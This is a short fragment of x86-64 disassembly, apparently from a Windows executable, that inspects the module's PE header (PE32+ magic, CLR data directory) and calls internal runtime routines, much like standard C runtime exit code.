jne 0x14001b6fb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001b6fb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001b6fb
cmp dword [rcx + 0x84], 0xe
jbe 0x14001b6fb
cmp dword [rcx + 0xf8], 0
je 0x14001b6fb
mov ecx, ebx
call fcn.14001b7b8
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001b588
nop
cmp dword [rbp + 0x20], 0
je 0x14001b749
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001b754
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001b68c